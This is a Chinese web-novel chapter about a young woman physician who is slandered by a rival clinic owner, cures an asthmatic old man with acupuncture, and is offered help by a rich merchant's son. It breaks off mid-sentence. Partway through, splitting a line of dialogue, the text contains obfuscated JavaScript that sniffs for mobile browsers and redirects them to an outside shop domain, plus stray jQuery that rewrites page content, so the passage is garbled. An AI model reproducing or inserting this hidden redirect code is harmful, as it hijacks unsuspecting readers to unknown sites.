殷悦这些日子忙得脚不沾地,医馆的匾额、桌椅、药柜都在她的安排下陆续置办齐全,就等着吉日一到,正式开张迎客。
这天,殷悦正哼着小曲整理药材,隔壁张婶家的女儿小云突然慌慌张张地跑进来,脸上写满了焦急:“殷姐姐,不好了,外面都在说……”
小云年纪尚小,说话有些吞吞吐吐,殷悦放下手中活计,柔声问道:“小云别急,慢慢说,外面发生什么事了?”
“他们……他们说姐姐你医术不精,还说……”小云怯生生的,声音越来越小,“还说你品行不端,不是什么好人,让大家以后都不要去找你看病……”
殷悦心中一惊,这些毫无根据的谣言是从何而来?她初来乍到,从未与人结怨,究竟是谁在恶意中诽她?
“小云,谢谢你告诉姐姐这些,你先回去吧,不用担心。”殷悦安慰着小云,心中却暗暗起疑。
送走小云,殷悦心神不宁,决定出门打探虚实。
“哎,你听说了吗?新来的那个殷大夫,听说是个骗子,根本就不会治病!”
“可不是嘛,我前两天还看见她和一个陌生男人拉拉扯扯,真是伤风败俗!”
一路上,各种流言蜚语传进殷悦的耳朵,语气之恶毒,内容之荒唐,让她又气愤又心寒。
殷悦不动声色地听着,终于从这些闲言碎语中捕捉到了一丝线索——散播谣言最起劲的,竟然是镇上“保和堂”医馆的几个伙计!
保和堂是镇上唯一的医馆,老板孙长福医术平平,却为人阴险狡诈,仗着自己开医馆多年,在镇上颇有些势力。
殷悦眼中闪过一丝寒光,看来这孙长福是感觉到自己的医馆开张会抢了他的生意,所以才故意使出这种下三滥的手段!
她倒要看看,这孙长福究竟想干什么!殷悦深吸一口气,径直朝保和堂走去。殷悦几步便跨进了保和堂,一股浓重的中药味扑鼻而来,几名伙计正无所事事地聚在一起闲聊,见她进来,眼神躲闪,立刻作鸟兽散。殷悦径直走到柜台前,冷冷地看着正在拨算盘的孙长福:“孙大夫,我今日来,是想问问你,为何要在外散播谣言,诋毁我的医馆?”
孙长福抬起头,脸上堆满虚伪的笑容:“殷大夫说笑了,我怎么会做这种事呢?我们都是悬壶济世的医者,救死扶伤是本分,何来诋毁一说?”
“你敢说那些谣言不是你散播出去的?”殷悦怒火中烧,声音也不自觉地提高了几分,“我初来乍到,从未与人结怨,为何偏偏在我医馆开张之际,会出现这些莫须有的罪名?你敢说这里面没有你的手脚?”
“殷大夫,饭可以乱吃,话可不能乱说啊!”孙长福眼珠一转,立刻换上一副痛心疾首的表情,“你医馆开张在即,我本应该恭喜你才是,可你怎么能凭空污人清白呢?我孙长福行医多年,在镇上也算有些名声,怎么会做这种损人不利己的事?”
“你……”殷悦被他这番颠倒黑白的说辞气得说不出话来,她知道孙长福为人狡诈,却没想到他竟能如此厚颜无耻。
“殷大夫,我知道你初来乍到,心中有些不安,但你也不能因为这个就怀疑我啊!”孙长福见殷悦语塞,更加得意起来,“我劝你还是想想怎么经营好自己的医馆吧,别整天疑神疑鬼,坏了自己名声!”
殷悦深吸一口气,压抑住心中的怒火,她知道与这种人争辩下去毫无意义,只会让自己更加生气。她冷冷地看了孙长福一眼,转身离开保和堂。
然而,谣言的影响力远比殷悦想象的要大,原本打算来她医馆看病的患者开始犹豫不决,有的甚至直接转身离开,原本热闹的医馆门口,此刻竟显得有些冷清。殷悦看着这一幕,心中五味杂陈,她知道,如果再不想办法挽回局面,她的医馆还没开张,就要面临倒闭的危机。
这时,一位衣衫褴褛的老者,步履蹒跚地走到医馆门口,他面色蜡黄,嘴唇发紫,呼吸急促,显然是病得不轻。殷悦见状,立刻上前搀扶住老者,关切地问道:“老人家,您哪里不舒服?”
老者虚弱地摆了摆手,指着自己的胸口,艰难地说道:“我……我胸口闷,喘不过气……”
“老人家,您先别着急,我给您看看。”殷悦说着,便要扶老者进医馆。
“别……别费劲了……”老者却一把抓住殷悦的手,声音颤抖地说道,“我……我知道我这是老毛病了,治不好的……”
“老人家,您别灰心,或许我能……”殷悦还想再劝,老者却突然剧烈地咳嗽起来,脸色也变得更加苍白。
周围的人见状,纷纷摇头叹息,有人小声议论道:“这人我知道,是镇东头的王老汉,患了多年的哮症,看了不少大夫,都不见好转……”
“是啊,这病哪有那么容易治好,我看这新来的殷大夫也悬……”
殷悦没有理会周围的议论,她看着眼前痛苦不堪的老人,心中涌起一股强烈的使命感,她知道,此时此刻,她不能退缩,也不能失败。
殷悦深吸一口气,眼神坚定地对老者说道:“老人家,您相信我,我能治好您的病!”
殷悦不顾众人的质疑,将老者扶进医馆,轻轻地将他安置在椅子上。她打
开医药箱,取出银针,动作娴熟地为老者施针。围观的人群中爆发出阵阵惊呼,他们从未见过如此年轻的女大夫,更没见过有人用银针治病。
“这……这能行吗?”有人小声地问。
“谁知道呢?看她年纪轻轻的,估计也是个半吊子,我看这王老汉这次是凶多吉少了。”另一个声音阴阳怪气地说道。
殷悦没有理会周围的议论,她全神贯注地为老者施针,银针精准地刺入穴位,老者的呼吸逐渐平稳下来,脸色也渐渐恢复了红润。围观的人群渐渐安静下来,他们目不转睛地看着殷悦,眼中充满了惊讶和期待。
一刻钟后,殷悦收起银针,老者长长地舒了一口气,他已经很久没有感受到如此轻松的呼吸了。他感激地看着殷悦,颤巍巍地说道:“姑娘,你真是活菩萨啊!我的病……我的病真的好了!”
周围的人群顿时沸腾起来,他们亲眼见证了奇迹的发生,原本的质疑和嘲讽变成了赞叹和敬佩。
“神医啊!真是神医啊!”
“这姑娘年纪轻轻,医术竟如此高超,真是后生可畏啊!”
“看来那些谣言都是假的,这殷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14179086|150621||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
大夫明明就是个妙手回春的活菩萨!”
殷悦看着周围人态度的转变,心中却没有丝毫的喜悦,她知道,这只是一时的,要想彻底消除谣言的影响,她还需要付出更多的努力。
然而,事情的发展却远远超出了殷悦的预料。孙长福眼看着殷悦用神奇的医术折服了众人,心中怒火中烧,他决不允许有人威胁到他的地位,更不允许有人抢走他的生意。
于是,他加大了谣言的传播力度,并且编造出更加恶毒的谎言。他四处散播消息,说殷悦用的是邪术,治好了王老汉的病,却会吸走他的寿命,还说殷悦医馆里的药材都是用毒虫毒草炼制而成,吃了会让人中毒身亡。
这些谣言比之前的更加耸人听闻,更加容易引起人们的恐慌,原本已经对殷悦有所改观的百姓们,再次动摇起来。他们开始对殷悦敬而远之,甚至有人对她指指点点,避之不及。
殷悦看着空荡荡的医馆门口,听着街上流传的关于她的可怕传言,心中充满了无力感。她不知道该如何才能彻底澄清谣言,也不知道该如何才能挽回百姓们的信任。
夜幕降临,殷悦独自一人坐在医馆的台阶上,望着漆黑的夜空,心中充满了迷茫和焦虑。这时,一个熟悉的声音在她身后响起……
“看来,你遇到了一些麻烦。”郝凛双手插兜,闲庭信步般走到殷悦身边,嘴角勾起一抹玩味的笑意。
殷悦苦笑一声,抬头望着眼前这个看似玩世不恭的富家少爷,语气中带着一丝自嘲:“郝少爷说笑了,我这点麻烦,哪里入得了您的眼。”
郝凛收起笑意,神色认真了些许:“殷大夫,这谣言若是任其发酵,只怕你这医馆开起来也难以为继。”
殷悦心中一紧,郝凛的话戳中了她的担忧。她来这城市不久,人生地不熟,若真如郝凛所说,那她这些日子的心血岂不是白费了?
“我正愁着呢,”殷悦叹了口气,语气中带着一丝疲惫,“我本想凭着医术立足,悬壶济世,却不想……”
她没有再说下去,但郝凛明白她的未尽之意。这世间,最难测的便是人心,而谣言,便最是能蛊惑人心。
郝凛看着眼前这个陷入困境的女子,心中竟泛起一丝心疼。他本是来此看热闹的,却不想竟生出几分想要帮她的念头。
“殷大夫,你有没有想过,有时候,光有医术是不够的,”郝凛顿了顿,继续说道,“你还需要一些……助力。”
殷悦疑惑地看向他,不明白他话里的意思。
郝凛没有直接回答,而是反问道:“你可知,这城中最不缺的是什么?”
殷悦摇了摇头,心中更加困惑。
“是消息,”郝凛嘴角勾起一抹意味深长的笑容,“而我,最擅长的便是收集消息。”
殷悦看着郝凛,心中似乎明白了什么。郝家世代经商,掌握着城中大大小小的消息渠道,若是能得到他的帮助……
“你想如何帮我?”殷悦问道,语气中带着一丝试探。
郝凛没有立刻回答,而是转身走到街边的小摊前,买了一串糖葫芦。他折下一颗,递到殷悦面前:“不急,先尝尝,这家的糖葫芦,是这城